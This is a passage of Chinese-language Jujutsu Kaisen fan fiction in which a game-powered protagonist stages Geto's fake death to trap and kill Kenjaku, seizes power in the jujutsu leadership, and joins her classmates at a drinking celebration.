哇,有一天竟然能从五条悟的口中听到他说别人性格恶劣? “不会吧?”夏油杰试探性地问道,“可是之前悟还说,她很可靠呢。” “可靠和恶劣又不是反义词!”五条悟吐槽道,“你跟她多相处一段时间就知道了。她啊,在外人面前总之装得有模有样,其实熟悉之后就会发现,她很难搞的!” 啊……所以,这是只有亲近的人才有的专属吗? “挑剔、讲究、霸道,还喜欢把什么事情都掌控在手里,很会预判事情的结果。”五条悟一说就停不下来,“如果不是我脾气好,才不跟她一起玩呢。” “……”夏油杰一时失语。 悟是在抱怨还是在炫耀呢?他有些分不清了。 五条悟转过头,看着夏油杰,忽然开口道:“杰,你是不是喜欢她啊?” 一瞬间,夏油杰惊得差点跳起来。 他有一种被苦主追问到头上的感觉。 不对,悟和小桃又没有谈恋爱!他这根本就不算NTR啊!啊啊,桥豆麻袋,他自己和小桃也没有恋爱。 所以大家都是清白的! 夏油杰的大脑一片混乱。 五条悟竟然一脸平静地说道:“果然呢,又是一个被她外表欺骗了的笨蛋。” “嗯?难道小桃有很多追求者吗?”夏油杰好奇地问道。 五条悟沉吟道:“大概可以从这里排队到京都府立咒术高专吧。” “……”那是很多了,“但小桃才十五岁吧?” “这有什么关系。”五条悟满不在乎地说道,“我们家族里,多的是很早就结婚生孩子了的。” 他忽然压低了声音,摆出一副神秘的样子说道:“甚至还有娶好几个的呢,什么正室侧室乱七八糟的。” 正室……侧室…… 听起来就很封建啊。 “这么多人追求,小桃没想过找几个谈一谈吗?”夏油杰目光闪烁。 “有啊,她一个一个地挑过去,挨个按在地上摩擦呢。”五条悟幸灾乐祸地笑。 夏油杰陷入了沉思。 “总之,我可不想看见杰挨打,所以杰千万不要喜欢她啊!”五条悟郑重地拍了拍夏油杰的肩膀。 “……” “好啦好啦,我们来打游戏吧!”五条悟扯过塑料袋,把里面的零食抖出来,“想吃什么自己拿。” 夏油杰确定这不是五条悟买的,因为里面不仅有悟爱吃的甜食,也有他爱吃的咸味苏打饼干。 真奇怪,他有和她说过自己的喜好吗?她的观察力未免也太仔细了一些。 还是说,她也有在意他呢?。 自从今野桃加入高专,一年级的学生变成四个人后,他们终于可以分成两队行动。 之前总是五条悟和夏油杰一起出任务,留下家入硝子一个人。 因为普通任务用不上三个人,再加上家入硝子的术式又是治疗,所以她除了上课就是待在医务室。 现在好了,她的队友不仅也是女生,而且还是超级厉害的强力输出。 她不禁感慨万千:这才是她想要的高中生活啊! “老师,这都二年级了,什么时候我们可以四个人一起做个任务啊,就当是修学旅行了嘛。”五条悟撑着下巴说道。 夜蛾正道的额头上蹦出一根青筋:“你以为任务是什么,给我认真一点!” “但完全没有能让我认真起来的实力,我也没办法。”五条悟无所谓地说道。 “是吗?那有没有人能告诉我,是谁这次做任务又没有放下‘帐’?”夜蛾正道冷声说道。 一句话,让三个准特级咒术师和“高专珍宝”沉默。 下一秒,三根手指向了最靠门的那个人。 五条悟仰头吹起了口哨。 “你还差得远呢,悟。”夜蛾正道瞪了他一眼,拿出笔记本电脑说起了正事,“总之,这次的任务,天元大人指名了要杰和悟负责,你们必须做好准备。” “啊……” 两个DK同时发出了叹息。 “有意见?” “……不敢不敢。” 夜蛾正道看向今野桃:“至于小桃,你或许可以接应一下他们。” “抱歉,夜蛾老师。”今野桃遗憾地表示,“我要回禅院一趟,家里有些事。” 夜蛾正道的话止住了,他只能点头回答:“好吧。” “什么事啊?不会是叫你回去结婚吧?”五条悟支着下巴,语出惊人。 夏油杰和家入硝子都是瞪大了眼睛,难以置信地发出了“啊?”的声音。 “不是哦。”今野桃竖起了手指,笑着回道,“是叫我回去娶第十八房小妾。” “噫!”五条悟嫌弃地撇了撇嘴,凑到夏油杰的耳边说道,“你看她啊,你要是喜欢她,就得做她的第十九房小妾了!所以千万不能喜欢这个花心鬼!” 夏油杰捏了捏鼻梁。 快一年过去了,他都记不清五条悟对他说了多少遍类似的话。 他觉得,自己必须好好地跟悟聊一聊。 到底是悟担心自己受伤害所以不希望他喜欢小桃,还是悟其实别有心思。 “什么啊,又要保护星浆体,又 要杀掉它,真不知道夜蛾老师在想什么,一定是因为要当上校长所以高兴得糊涂了吧……” 五条悟双手背在脑后,叽里咕噜地说着话。 好似看不见尽头的走廊上,夏油杰搭着五条悟的肩膀。他站在窗户口,有半边身体淹没在阴影中。 “悟。”夏油杰开口道,“我想问你一个问题。” “嗯?” “你是不是,也喜欢小桃?”。 今野桃根据手机上收到的短信,来到了一处普通的民宅。门牌上写着“今野”的姓氏,她立在门口看了几秒,失笑摇头。 随后她敲了敲门。 门开了,身形健硕的男人站在门后,像是一堵墙。 “好久不见,甚尔。” 第54章 禅院甚尔比她要高一个头,抱着手臂居高临下看她的时候,眼神有些桀骜。 “啊,好久不见。”他打量了她一番,随后退了两步,让开位置,“你还真是自信啊,一条短信就出来了。” “因为是甚尔发给我的呀。”今野桃不以为意地说道。 她正要换鞋,禅院甚尔却说:“就这样进来吧,反正今天也要拖地了。” 于是今野桃从善如流,穿着鞋进门。小小一栋民宅,从外表看又破又小,但里面其实还不错,被主人打理得干净整洁,很难相信这是禅院甚尔做的。 只有对生活还抱有希望的人,才会注意到居住的环境。 “话说回来,甚尔怎么想到用‘今野’的姓氏做门牌?”今野桃随口问道。 禅院甚尔泡茶的动作微不可见地顿了顿,随后说道:“你之前不是笔误过吗,写给我的信上用了‘今野桃’这个名字。我觉得还不错,就顺便拿来用了。反正除了‘禅院’,什么都好吧。” 写信?那都是多久以前的事情了。今野桃一时想不起来自己什么时候有过笔误,算了,也不是什么大事。 这栋民宅约莫有六十平米,一室一厅,客厅小得只能放下一张桌子和两把椅子。今野桃不客气地坐在了桌前,禅院甚尔拉了一把椅子坐在她的对面。 热气腾腾的茶水入口有些苦涩,茶叶倒不错,看样子他为了招待客人做了不少准备。 今野桃抿了一口茶,随后深深地舒了一口气,含笑道:“甚尔好像过得还不错。” “啊,反正一人吃饱全家不饿。”他抓了抓头发,懒散地说道,“没钱了就去接几个单子,有钱就随便花花。” 这样颓靡的生活,能称得上“好”吗? 然而今野桃并未指责他堪称堕落的生活习惯,只是微笑道:“因为甚尔还在迷茫吧。” 禅院是枷锁,是牢笼,禁锢了他的思想。在离开后,无所适从也是很正常的。 “没关系的,甚尔的人生才刚刚开始呢,还有很长的时间可以慢慢思考。”今野桃悠悠说道,“只要甚尔觉得快乐就行,如果有什么困难可以随时来找我。” 禅院甚尔一声不吭。 她总是这样,好像没有任何事情能难倒她。面对她的时候,仿佛站在一片深沉的海洋前,被包容,也被吞噬。 但她说得不错,他的人生才刚刚开始,他还有很多时间可以慢慢等待。 “你之前让我留意的,额头上有缝合线的人,我看见了。”他两根手指捏着杯子,漫不经心地说道。 今野桃喝茶的手停了下来:“哦?你在哪里看见他的?” 这么多年了,终于让她找到羂索的踪影了。 他是真能躲啊! 因为错开了时间线,等她去往仙台寻找虎杖一家的时候,虎杖仁已经死了,只留下虎杖爷爷和虎杖悠仁,虎杖香织早已不知去向。 从这个时候开始,羂索就消失得无影无踪,仿佛世界上并不存在这样一个人。 但今野桃知道,羂索是一条隐藏在黑暗中的毒蛇,只等待一个时机就会跳出来咬人。 “孔时雨,也就是一个中介,他给了我一个单子,暗杀‘星浆体’。”禅院甚尔组织着语言,娓娓道来,“我问了一下,负责保护‘星浆体’的是高专,我以为这个任务是你在做,就去打听了一下谁下的暗杀单子。” 他说得轻描淡写,背后却暗藏着时刻关注的小心思。 “虽然明面上这个单子是‘盘星教’下的,但背后显然还有人。我顺着情报网往上查,摸到了一个小家族里。” 三言两语概括了他十几日的辛苦奔波,但禅院甚尔本来就没打算用这个来邀功。 他只是担心她。 “在那个小家族,我看见了一个额头上有着缝合线的男人。他是这个家族的家主,也是咒术界高层的一员。”禅院甚尔低头,看着微微摇晃的茶水,开口道,“你没说要动手,我就离开了。” “做得很好,甚尔。”今野桃毫不吝啬自己的赞美,“这个男人,是我一直在追踪的敌人,他很狡猾,如果你同他对上,我还怕你在他手上吃亏。” 禅院甚尔抬眼看了看她,嗤了一声。 “他弱得很。”禅院甚尔对羂索的实力不屑一顾,“那这个单子,我就推掉……” “不,甚尔,反正有好几个亿呢,你就接下这个单子吧。”今野桃淡淡地说道,“反正也是送钱给我们。” 禅院甚尔耸了耸肩膀:“我知道了,需要我手下留情吗?” “……你按照自己的计划来就行,给‘星浆体’留一条命,她毕竟是无辜的。”今野桃摇摇头,“剩下的交给我。除掉这个敌人,以后我会一点一点让咒术界变得更好。” 禅院甚尔没接话。 一杯茶喝完,今野桃起身。 “谢谢你的招待。”她对他弯了弯眼睛,目光中带着信任和喜爱,“甚尔,你帮了大忙了,有机会请你吃饭。” “唔。”禅院甚尔含糊地应着。 他注视着她的背影渐渐消失,良久,才露出略带怅然的神色。 如果真的有那么一个人,能够让这个世界变得更好,或许就是她了吧…… 事情进展得并不如预想的那样顺利,等今野桃赶到那个家族时,里面已经挂上了白花,阵阵哭声传了出来。 “这是怎么了?”她抓住一个进进出出的路人问道。 那人显然认识今野桃。 “家主、家主去世了……”他抽噎着回答。 原来,在一次外出时,这位家主不幸遇到了一只一级咒灵,猝不及防下被它咬掉了半边身体,还没来得及救治,人就死得彻底。 抢回来的尸体也只剩下胸口以下,连头颅都不知去向。 甚尔被发现了。 这是今野桃的第一反应。 羂索知道自己暴露了,于是迅速更换了一具身体。速度之快,完全让她措手不及。 不愧是能苟上一千多年的存在啊。 今野桃被气笑了。 禅院甚尔被发现不仅让羂索及时逃走,还打草惊蛇了。接下来想要找到他,一定会更加困难。 咒术界这么多人,要玩捉迷藏的话,得找到什么时候去。 一味地追逐是没有用的,只会筋疲力尽。她必须想个办法引蛇出洞。 今野桃站在角落,听着哭声陷入了沉思。 她要推断出羂索的目的。 杀掉“星浆体”,可以让天元不被同化,那么天元会变成什么样子呢?会变成咒灵。 这是夜蛾正道说的。 各个高专、咒术界的据点结界还有辅助监督们使用的结界术,都是依赖天元的术式才得以增强,一旦 天元消失,这些结界也会受到巨大影响。没了结界,人类的安全会大幅度下降,咒灵会变得更加危险。 但这都不是重点。重点是,天元能活几千年,它一定很强。 到那时,它会是人类的敌人还是朋友? 今野桃默然想着。咒灵的话……天元能被咒灵操使收服吗? 看不见的视线环绕在她的身边,窥视着她美好的生活,试图将她拖入黑暗之中。 今野桃望着那巨大的黑白遗像,恍惚间想起之前几个周目里死去的人。 虽然游戏是另一个世界,但并不代表就可以肆意妄为,至少作恶多端的人最后结局必定身败名裂,不然过不了审核。 那么,夏油杰是个坏人吗?不管怎么说,他亲手杀死了自己的父母,而他们是无辜的。 所以夏油杰也要为此付出代价,他的下场……不会很好。今野桃即使没看见,也能猜到。 那他死了,羂索是不是就得到了他的身体?那天元很可能也落到了羂索的手里。 这才配得上整部游戏背景中最大的幕后黑手的身份。 今野桃转身,悄悄离开。 多想无用,既然如此,那就试试看吧。 羂索啊羂索,百因必有果,你的报应就是我…… “杰,要麻烦你一件事了。”今野桃在夏油杰巡逻的时候堵住了他。 刚刚和五条悟换班的夏油杰愣了一下:“小桃,你怎么在这里?” 他们此时正带着“星浆体”在冲绳旅游,这是“星浆体”最后的愿望。 “什么事,你说吧。”夏油杰飞快地说道。 今野桃靠近了一点,压低声音说道:“杰,关于你们这次的任务,我有了新的发现。‘星浆体’不是最重要的,就算这个‘星浆体’死去,天元大人那边也有备份。真正重要的,是有人想要借此机会杀掉你和悟。” 夏油杰目光一厉,狭长的眼睛里流露出丝丝凝重。他不会怀疑今野桃传来的情报,只会变得更加谨慎。 “谢谢你,小桃,我和悟会注意的。”他轻声回道。 “这不是注意不注意,而是我们有敌人藏在暗处,而我们不知道他是谁,在哪里。”今野桃耐着性子说道,“从来只有千日做贼,哪里有千日防贼的呢?这一次是我发现了,那下一次,万一我们没发现呢?” “那你的意思是?”夏油杰略微皱眉,“而且,我相信我和悟一起,一定可以打败任何敌人。” 没有经历过挫折的DK们,对这个世界还抱有天真的看法。他们以为唯一能打败他们的,只有今野桃,而她怎么可能倒戈对他们。 今野桃苦恼地挠了挠头,说道:“不如这样,你和敌人先交个手,如果你们输了,就听我的安排。” “好。”夏油杰一口应下。 他和悟怎么会输呢,不可能的…… 释魂刀劈开了咒灵虹龙,这是夏油杰手中最坚硬、能力最强的咒灵,但在这个男人的面前没能走过三招。 交叉的十字在他的胸口划开狰狞的伤疤,男人腾空翻身,一脚将他踢出了十数米。夏油杰重重地砸在了一层又一层的木质房梁上,最后无力地落在地面。 剧烈的疼痛让他的身体微微颤抖,一个字也说不出来。 “我控制了力度,如果你还算聪明的话,作为咒术师应该能活下来。”男人宛如闲庭信步般走过来,“你们真的很弱啊。” 一枪打中了被层层保护的“星浆体”的肩膀,又干倒了咒灵操使,还有谁能阻止这个男人呢? “桃……”夏油杰的口中溢出鲜血,瞳孔有些涣散。 这就是……小桃口中的敌人吗……连悟也死在了他的手中…… 正要离开的禅院甚尔听见他口中的呢喃,表情变得有些不爽。 他左右看看,没发现今野桃的身影,于是一脚踩在了夏油杰的脸上。 “哼,讨厌的小白脸。” 碾了两下,他扛起还剩一口气的天内理子,扬长而去。 另一边,今野桃看着重伤的五条悟,活动起了手腕。 她已经做好准备,要将这颗初升的太阳摘下来了。 第55章 今野桃还记得最初的时候,她苦心攻略五条悟那么久,但好感值死活卡在50以下上不去。 那时的他沐浴在夕阳的余晖下,银白的发丝镀着金色的光边,回头对她说—— 你回去吧,这不是你能插手的战斗。 他将质疑与轻视明明白白地摆在脸上,像一盆冷水浇灭了她所有的热情。 区区二级咒术师,竟敢觊觎咒术界的最强。这样的念头说出去,任谁都会笑她不自量力。 所以现在,她偏要将这轮骄阳摘下来,要他眼里只映出她一个人的身影。 浑身是血的五条悟缓缓从地上坐起,额角的伤口以肉眼可见的速度愈合。浓郁的咒力如同漩涡般被他吸纳进体内,周围的空气都因这股力量而震颤。 今野桃一步一步地朝他走过去,不紧不慢。 这是五条悟的劫难,也是他必定可以跨过的门槛。她不曾叮嘱禅院甚尔手下留情,因为这是他变强路上最重要的关卡。 像是蝴蝶破茧,凤凰涅槃。 当然,无所不能的玩家早已存好了档,一旦发生了意外,她可以读档回去。 正如她承诺的那样,把一切都交给她就好。 五条悟的属性面板在暴涨,已经全部突破了20。而夏油杰还卡在20以下,迟迟不得寸进。 有时候今野桃也会陷入两难的选择。是要任由他们付出沉重的代价来换取成长,还是将他们收拢在羽翼之下,过着幸福却平庸的生活? 真是纠结啊。 伟大的桃桃皇帝叹了口气。 “悟。”她轻声喊道,“你还好吗?” 五条悟的眼睛睁得很大,橘红的天空倒映在他苍蓝色的瞳孔中,仿佛让他也染上一层血色。 “很好啊,我很好。”他深深吸气,胸膛剧烈起伏,“我从未有过这样好的感觉。” 他摇摇晃晃地站起了身,随手抹掉脸颊上的血迹。 “那个男人……”他咧开了嘴,神色中带着隐隐的疯狂,“我要去找他。” “不着急。”今野桃慢条斯理地脱下了外套,扔在了地上,“先和我过两招吧,悟,我想看看你变得有多强了。” “等等,还是算了,我要先去找杰,还有任务没做完……”听见要和她过招,五条悟摇摇欲坠的理智忽然回来了两分。 今野桃已经手指交叉,开始了“十种影法术”的前摇。 “别担心,我已经都安排好了。”今野桃不容置疑地说道,“杰也没事,‘星浆体’也没事。” 五条悟重重地叹了口气。 “所以说,你的掌控欲是真的很强啊……这一切都在你的计划之中了吗?”他抓了抓头发,对她伸出了手指,“以后不能叫你‘霸王龙’了,要叫你‘变态霸王龙’。” “无所谓。”今野桃漫不经心地说道,“手下败将的话,不过是狂瞽之言。” 五条悟被挑衅到了。 “是吗,那就试试看好了。”红色和蓝色的光芒交错融合,酝酿出不详的气息,“虚式茈。” 这是术式顺转苍和术式顺转赫的组合技,是五条悟最强的一击。 就是这一击,杀死了伏黑甚尔…… “说好了,输了就听我的安排。”今野桃笑吟吟地说道,“杰不会耍赖吧?” 夏油杰抱着膝盖,坐在台阶上,双目无神。胸口的伤已经治好了,但他心里的伤却还在流血。 原以为小桃最强,悟排第二,他好歹能算个第三。没想到……人外有人,天外有天啊!那个男人也才二十多岁,竟然就能碾压他们了! 再联想到之前放出的大话……好丢脸,真的好丢脸! “咦?你和杰说好了什么?!”五条悟挂着一身破破烂烂的衣服凑了过来,被打过的伤痕因反转术式愈合,但破损 的衣物却无法恢复。他并不在意这个,只是执拗地缠着今野桃,“你们之间是不是有小秘密了?是不是背着我有小秘密了!” “哪有背着你,我们是光明正大的好吧。”今野桃理直气壮地说道。 “哇!这是什么渣女语录!”五条悟气得大叫,“你们好过分诶!” “好了,悟。”夏油杰忧郁地说道,“都怪我,是我太弱了……唉……” 他把脸埋在膝盖里,不吭声了。 禅院甚尔用一具假尸体换来了赏金,天内理子在今野桃心腹的安排下远走高飞,五条悟学会了反转术式,夏油杰……夏油杰被打成了重伤还丢了几个强力咒灵,堪称全场最惨。 谁看了不说一句好可怜啊! 今野桃这种铁石心肠的人都忍不住摸了摸鼻子,生出一种愧疚来。 她打开商场,转了一圈,斥巨资买下了一把特级咒具“游云”。没别的原因,就是它的简介上写了一句——此咒具原属禅院甚尔,后为夏油杰所得。夏油杰死后,被禅院收回。 夏油杰应该会喜欢吧。 她猜测着。 “别难过了。”今野桃拍了拍夏油杰的背,柔声说道,“你已经表现得很好了。” 还不等她把游云拿出来,五条悟把脑袋搁在了夏油杰的头上,直勾勾地看着她。 “说给我听听嘛,你跟杰约好了什么呀?什么时候约好的呀?”他拉长了声音,用力地把夏油杰往下按,好让他抬不起头来。 夏油杰:…… “好吧好吧,我告诉你,你快点让杰起来吧。”今野桃扶额,“就昨天你们和‘星浆体’去旅行的时候,我找了一次杰,跟他说……” “哈啊?!”五条悟难以置信地大喊道,“昨天你们就背着我见面了?!” 他又气又委屈:“你都来了,怎么不来找我啊!” 那时他们距离绝对不到一百米! 今野桃:……她还真的忘记了。 夏油杰揉了揉脖子,温柔地说道:“悟,小桃很忙的,她就是停留了一会儿就走了。” “说两句话能费什么时间,她就是心里没我了!”五条悟嘟嘟囔囔。 今野桃直觉不能继续这个话题,于是往下说道:“……我跟杰说,我发现了一个隐藏在背后的敌人,‘星浆体’是他故意放出来的靶子,其目的是想办法杀掉你们。杰不信,你看,如果不是这个杀手与我有旧,你们这次恐怕都凶多吉少了。” “敌人?谁啊?”五条悟直起腰,脸上总算有了两分正经。 今野桃沉默几秒,说道:“不确定,被他跑了。” “噗。”五条悟笑出了声,“竟然还有你抓不到的人诶,那我得好好看看了。” “他真的很能跑。”今野桃都要无语了,“现在我想把他引出来,需要你们的帮助了。” “行啊,你说呗。”五条悟毫不犹豫地说道。 今野桃看向夏油杰:“杰,能不能麻烦你死一下。” “啊?”。 这是一次非常惨烈的任务,结果传出去后,所有人一时间为之哗然。 五条悟身受重伤,咒灵操使夏油杰死亡,“星浆体”死亡。 整个高专的上空都弥漫着浓郁的悲色。五条悟不顾家里反对,执意定做了一具棺材,要将夏油杰埋在族地之中。 这是他的挚友,他怎么能让他的尸体被拿去焚烧研究。 五条悟没有给夏油杰举办葬礼,只是挑选了一个好日子,悄悄地把他埋了进去。他没有立碑,也没有堆一个土包,只是在坟上种了一束菊花。 除了他之外,不会有其他人找得到这个地方。 五条悟是这样想的。 但是…… “新翻过的泥土颜色,和其它地方是不一样的呀。”额头上带着缝合线的男人笑眯眯地拿着铲子,嘲笑着“六眼”的天真。 他精准地发现了夏油杰的墓地,并且决定把它挖开。 “咒灵操使的身体,我就笑纳了。”羂索感觉到铲子触碰到了实物,心中大喜。 可能是五条悟亲自挖的坟,棺材埋得比较浅,这样方便了他行事。 专门定制的棺材比一般的棺材要大,羂索猜测,五条悟或许放了一些陪葬品。 哈哈,陪葬品也归他了。放心,他会好好使用的。 “我会用你的身体,将咒灵操术发扬光大的。”羂索装模作样地双手合十,然后扣住了棺材板的边沿。 他猛地用力——嗯?没打钉子? “surprise!” 只见棺材里,赫然挤着三个人! 左边是夏油杰,右边是五条悟,中间还夹着一个禅院桃! “别挤了别挤了!”禅院桃的脸埋在夏油杰饱满的胸肌上,努力用手撑开两人的距离。 但棺材里就这么大点位置,她还能往哪里躲呢?五条悟都要被她压成猫饼了,半边身体都垫在她的下面。 “你怎么占杰的便宜啊!”五条悟嚷道,扳着她的肩膀往他怀里靠。 夏油杰一只手抵住棺材的两边,护住禅院桃的头顶,另一只手按着她的腰。他的膝盖从她的腿间顶过去,也算是压在了五条悟的身上。五条悟则踩着他的小腿,暗暗用力。 “重死了重死了,杰你能不能减减肥啊!” “我肥?!” “啊不然呢,总不会是小桃肥吧?” “……” 三人就这样以一种扭曲的姿势挤在一起,得亏棺材大,不然真的装不下。 羂索的表情僵住了,一滴冷汗从他的额头上滑下。棺材被打开,三人不约而同地看向他。 “谢谢哦,不过我的术式,就不劳你惦记了。” 夏油杰对羂索露出了一个礼貌的笑容。一只又一只的咒灵浮现在他的身边,露出狰狞的模样。 “叽里咕噜的,说什么呢。”五条悟抬手,“虚式茈。” “永别了。”禅院桃对羂索弯了弯眼睛,“领域展开嵌合暗翳庭。” 远远地,守在战场边缘的禅院甚尔转了个刀花,能中断一切术式的天逆鉾在月色下折射出冰冷的光泽。 第56章 羂索的死亡像一场漫长的梅雨终于放晴,但空气中仍弥漫着未散的潮湿。今野桃握着一沓厚厚的报告踏进总监部会议室,上来就是劈头盖脸的一顿骂。 “……简直荒谬!我们咒术师们竟然会被一个诅咒师渗透!你们平日里难道都是吃白饭的吗!”她将报告重重摔在会议桌上,纸张散落的声音在寂静之中格外刺耳。 她肚子里积攒了整整一个世纪的脏话终于找到了出口。感谢羂索,这位千年诅咒师用自己最后的剩余价值,成为了她劈开高层权力壁垒最锋利的刀刃。既然死无对证,那她今野桃说谁脑壳里藏着诅咒师的脑花,谁就得乖乖开颅自证清白。 不服?那就打开天灵盖看看。能活着走出来算你清白,要是死了——私密马赛,下辈子注意点。 这套操作颇有中世纪猎巫行动的风采,但作为既得利益者,今野桃不得不承认,这种感觉确实令人身心愉悦。 短短时间内,空出来的八成利益都被今野桃瓜分而去,她的手下迅速占据了总监部的中高层位置,开始无声无息地渗透进去。 今野桃买下了商城里那个自己曾经拥有过的术式“游戏地图”,看着总监部大楼里一片友方目标,心情无比舒畅。 她选中了三个对她好感值最高的目标,对他们施加了微弱的影响。 于是这三人的属性值里,力量上升了一点。 三人浑身一震,感受到前所未有的力量在体内奔涌。他们狂热地仰视着今野桃,仿佛瞻仰神迹。 今野桃拍了拍跪在她脚边的下属的肩膀:“为我效力,不会亏待你们的。” “是!愿为大人效死!”呐喊声震得窗棂作响。 这些下属很多都出身于禅院,在外人眼里,就是禅院越发势大,已然快要成为咒术界的第一家族了。 加茂也就算了,拥有着“六眼”的五条家急得不行。他们紧急召回了五条悟,表示要想个办法。 但讨论来讨论去,最后还是没有结果。 禅院家原本就不比他们差,现任家主禅院直毘人也在总监部担任高层,如今下一任继承人看着也要压过他们一头,好像除了认命外没有别的办法了。 “不如……让悟大人和禅院联姻?”有人提出一个方案,“这样的话,两家就能 共享利益了吧?” 五条悟用看傻子的眼神看他。 “你确定是共享,不是吞并?”他苦恼地说道,“小桃如果嫁过来,会把你们整顿得像禅院那样听话哦。” “悟大人身为丈夫,难道不应该……” “笑死,我作为丈夫,当然是跟妻子站一边啊。”五条悟掏了掏耳朵。 “……” 一句话堵得他们哑口无言。 “没别的要说了吗?”他环视一圈,无聊地翻了个白眼,“我还以为有什么很重要的事情呢。” 他低头,看了一眼手机屏幕上显示的时间,大惊失色。 “糟糕,要迟到了!” 五条悟匆忙地起身,拉开障子门就要往外跑。 “悟大人,等等,你要去哪?”操碎了心的族人们追着喊道。 “嘻嘻,当然是庆祝会啦。”他逆着光回头,嘴角咧开一个灿烂的弧度,“庆祝那些烂橘子都死光咯!”。 庆祝会的场地是庵歌姬极力推荐的一间隐蔽居酒屋。木质招牌被岁月熏得发黑,暖黄的灯笼在檐下轻轻摇晃,推开移门时响起的风铃声像是为这场久违的聚会奏响的前奏。 “最重要的是——”庵歌姬已经喝上头地搂着家入硝子的肩膀,声音响彻整个包厢,“这里会给未成年也斟酒!今晚谁都别想清醒着回去!” “不醉不归有点难啊……”家入硝子靠在庵歌姬的怀里,感慨道,“反转术式一用,就醒酒了。” “什么?!你们喝酒还用反转术式?!”庵歌姬大力拍打桌子,震得碟子里的毛豆都跳了起来,“不许用,今天谁也不许用反转术式!” 两双带着醉意的眼睛齐刷刷看向今野桃,她无奈地举起双手投降:“好,我也不用。” 角落里的七海建人盯着面前的酒杯,眉头皱得能夹死苍蝇:“我不会喝酒……” “没事没事,想喝就喝,不喝就不喝,不劝酒。”庵歌姬大手一挥,“聚会嘛,觉得快乐才最重要!” “没错没错!”五条悟举起了可乐,“我喝这个!” 他绝对不会再沾酒精了! “那我要杯果汁吧。”夏油杰笑道,“到时候会负责把女生安全送回去的。” 今野桃此时已饮尽两杯清酒,细腻的肌肤透出淡淡的绯色,像是晚霞染透了白玉。她伸出食指,带着微醺的醉意轻轻点了点夏油杰的胸口:“我就不喜欢听你说什么‘责任’啊‘义务’啊之类的话。” “就是嘛就是嘛,听得耳朵都要起茧了。”五条悟立刻凑过来勾住夏油杰的脖子,银白的发丝扫过对方的脸颊,笑嘻嘻地说道,“大~义~哥~” 噗。 包厢里顿时响起几声压抑不住的轻笑。 夏油杰的脸也有点红,但他还是坚持道:“悟,小桃,我觉得我有这个力量,就应该帮助那些弱者……” “我知道我知道,就是那套‘能力越大,责任越大’是吧?”今野桃一屁股坐在了夏油杰的另一侧,搭住他的另一边肩膀,“杰,你要知道,这句话的全句应该是‘能力越大,权利越大,责任越大’。我因为我强大的能力而得到了巨大的权利,所以我才有更大的责任。” 夏油杰一愣。 “比如,我是天皇,我有着管理天下百姓的权利,所以我才有让天下百姓过得幸福的责任。”今野桃又拿起了一杯酒,酒杯里的冰块发出轻微的碰撞声。她叹息道,“如果我不是天皇,那我凭什么去操心这些事情?吃饱了撑得慌?” 好像是有点道理…… “而且吧,你有这个能力却不主动去取得应该有的位置,那占据了本该属于你的位置的人,可不会感谢你。” 和这些还没出学校的青春少年比,今野桃对人性的把握可就深刻多了。 她突然转向五条悟,指尖划过一道醉醺醺的弧线:“我要是个废物但当上了总监部部长,第一件事就是把这个最大的威胁赶出去。” “哇!我就不走!”五条悟龇牙咧嘴地做鬼脸,“我就喜欢看你干不掉我的样子!” “行啊,不走是吧?那我就给你加任务!加加加加到你吐血!”今野桃把下巴一抬,醉眼朦胧地掰着手指,“我要让你一天只能睡六个、四个、算了,还是两个小时吧,反正你有反转术式嘛!” 五条悟夸张地瞪大眼睛,疯狂摇晃夏油杰:“杰!你看她啊!好恶毒!她要让我一天只能睡两个小时!” 夏油杰快被晃晕了:“是是是,太坏了……” “呵,还有你!和五条悟一个鼻子出气的邪恶刘海!”今野桃咕噜一声灌完剩下的酒,指着夏油杰的刘海,“你是咒灵操使是吧,那就给我吃!一天吃一百个咒灵!不吃?不吃是不是不想拯救天下了!你少吃一个咒灵,可就有更多的人受到伤害啊!” 夏油杰的表情僵硬了。 一、一百个?!他会死的吧! 不行,不能再想了。现在、立刻、马上就必须成为总监部部长! 今野桃挑眉,变戏法似的掏出一件用绸布包裹的长物,塞进夏油杰怀里。 “所以呢,该是你的,就得拿着。” 夏油杰低头看着怀中沉甸甸的物件,微微一抖绸布就散开了:“这是……?” “什么?!特级咒具?!”识货的庵歌姬发出怪叫。 特级咒具?!就连高专也没有两件的特级咒具?! “小桃,这个我不能要……” “都说了,是你的就拿着,”今野桃满不在乎地摆摆手说道,“你可是差一点就死了,这是精神损失费。” 于是众人都以为这是今野桃从总监部的宝库里精心挑选的珍品。但即便真是如此,若非她亲自出手,这件宝物恐怕永远也到不了夏油杰手中。 特级咒具入手沉甸甸的,带着岁月的分量。檀木般深沉的色泽在灯光下流转着温润的光华,每一寸金属都透着被精心养护过的痕迹,昭示着不凡的身价。 “……谢谢。”夏油杰将推拒的话语咽了回去。 他的指尖小心翼翼地抚过咒具流畅的曲线,动作轻柔得像在触碰蝴蝶的翅膀。那爱不释手的模样,让今野桃眼底泛起一丝笑意。 “它叫‘游云’,三节棍比一般的武器要难些,你自己好好琢磨。” “我会的。”夏油杰抿嘴笑了笑,“如果用不好,那是我的问题,不是它的问题。” 特级咒具!拿出去能卖好几个亿吧!他怎么好意思嫌弃它不好用! 澎湃的情绪在胸腔翻涌,夏油杰攥紧冰凉的金属节棍,喉结轻轻滚动。这份厚重的心意,让他一时竟不知该如何表达。 见她送的礼物被如此珍视,今野桃心情颇佳地仰头饮尽杯中残酒。就在这时,眼前忽然浮现出一行半透明的提示: 【获得负面状态:醉酒。】 这个负面状态可以用反转术式清除,但是她都答应庵歌姬了,自然不能出尔反尔。 醉酒就醉酒吧,就当放纵一次了。 渐渐地,眼前的灯光开始摇曳重叠,思绪像浸了水的棉絮般沉重。后来似乎又喝了几杯,记忆渐渐模糊成一片暖色的光晕。 后面她好像还喝了几杯,渐渐地,就有些记不清楚了。 “喝!”庵歌姬也走不动了,人已经开始摇晃,握着酒杯的手倒是没有松开。 场上还能安稳坐着的,只有夏油杰和五条悟,他们两人坚决一口酒都没喝。两个学弟不知道什么时候,也在气氛的烘托下浅酌了两口,直接被放倒了。 五条悟划拉着手机屏幕,语气从容不迫:“我叫人把灰原和七海带回学校,杰你送一下硝子吧,然后 等下到门口接应下他们。歌姬的话,我叫她家里人来接。” 他安排得井井有条,那种游刃有余的控场气势隐隐和从小一起长大的青梅有些相似。夏油杰没有异议,只是目光在两人身上打了个转。 “那就辛苦你送小桃回去了。”他犹豫地望了一眼趴在桌上不动的今野桃,将家入硝子搀扶起来。 包厢里的人一个个减少,没多久,就只剩下五条悟和今野桃。 “谢谢你,五条同学,那我们带歌姬先走了。” 门轻轻关上,包厢里陷入一片安静。 五条悟发了一会儿呆,随后慢慢起身,坐到了女孩的身边。 